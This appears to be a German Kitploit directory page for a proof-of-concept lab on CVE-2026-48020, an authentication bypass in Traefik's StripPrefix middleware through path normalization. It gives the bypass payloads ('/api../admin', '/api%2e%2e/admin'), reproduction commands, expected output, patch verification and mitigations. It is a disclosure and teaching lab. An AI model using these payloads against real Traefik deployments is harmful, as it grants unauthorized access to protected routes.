Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — Proof-of-concept-Labor für CVE-2026-48020, das einen kritischen Authentifizierungs-Bypass in Traefiks StripPrefix-Middleware durch Pfadnormalisierung demonstriert. Enthält Docker-basierte Reproduktionsumgebung und Verifikationsskripte. | Kitploit
Tools/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

Proof-of-concept-Labor für CVE-2026-48020, das einen kritischen Authentifizierungs-Bypass in Traefiks StripPrefix-Middleware durch Pfadnormalisierung demonstriert. Enthält Docker-basierte Reproduktionsumgebung und Verifikationsskripte.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-48020 — Traefik StripPrefix Routenebenen-Authentifizierungsumgehung (PoC)

Ein eigenständiger Proof of Concept für CVE-2026-48020, eine Route-Level-Authentifizierungs-/Autorisierungsumgehung in Traefiks StripPrefix-Middleware, verursacht durch Pfadnormalisierung, die nach Routing-Entscheidungen stattfindet.

Eine Anforderung wie GET /api../admin wird zur Routing-Zeit durch einen öffentlichen PathPrefix(\/api`)-Router geleitet (daher wird die basicAuth-Middleware des geschützten Routers nie angehängt), aber nachdem StripPrefix /apientfernt und Go'sreq.URL.JoinPath()das verbleibende/../admin/admin` — einen Pfad, der eigentlich geschützt werden sollte.

normalisiert, erhält das Backend
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
AffectedTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Fixed inv2.11.48, v3.6.19, v3.7.3

Laboraufbau

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

Dateien

DateiZweck
docker-compose.ymlStartet ein anfälliges Traefik (v3.7.1) + ein Python-Backend
dynamic.ymlTraefik dynamische Konfiguration: eine öffentliche /api-Strip-Route und eine geschützte /admin,/internal-Route hinter basicAuth
backend.pyKleines Backend, das ein Geheimnis für die geschützten Pfade zurückgibt
poc.pySendet die Bypass-Payloads und meldet, welche Pfade erreicht wurden

Reproduktion

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Erwartete Ausgabe bei einem anfälligen Traefik

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

Bei einem gepatchten Traefik (v3.7.3)

Die Bypass-Payloads geben 404 anstelle von 200 zurück. Der Patch (Traefik PR #13215) lehnt jede Anfrage ab, deren Pfad nach der StripPrefix/StripPrefixRegex-Normalisierung abweicht, sodass die /../admin-Umschreibung erkannt und abgewiesen wird.

Korrektur überprüfen

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Abhilfemaßnahmen (ohne Upgrade)

Verhindern, dass die öffentliche Route die Traversal-Form überhaupt matcht:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Offenlegung

Gemeldet an die Traefik-Maintainer von WonYun / kyun0 (GitHub: H4ck2); behoben in GHSA-xf64-8mw2-4gr2. Dieses PoC-Labor ist eine unabhängige Reproduktion, die für den begleitenden Artikel erstellt wurde: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

Tool herunterladen